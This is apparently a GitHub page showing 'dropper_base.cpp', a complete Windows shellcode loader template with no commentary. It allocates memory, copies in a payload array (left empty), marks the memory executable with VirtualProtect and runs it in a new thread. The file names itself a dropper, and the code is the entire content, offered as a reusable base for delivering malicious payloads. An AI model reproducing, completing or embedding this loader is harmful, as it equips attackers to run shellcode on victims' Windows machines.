-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdropper_base.cpp
37 lines (28 loc) · 985 Bytes
/
dropper_base.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * allocated_memory;
BOOL virtualprotect_result;
HANDLE thread_handle;
DWORD oldprotect = 0;
unsigned char payload[] = {
};
unsigned int payload_len = 0;
allocated_memory = VirtualAlloc(0,
payload_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
RtlMoveMemory(allocated_memory, payload, payload_len);
virtualprotect_result = VirtualProtect(allocated_memory,
payload_len,
PAGE_EXECUTE_READ,
&oldprotect);
if ( virtualprotect_result != 0 ) {
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) allocated_memory, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
}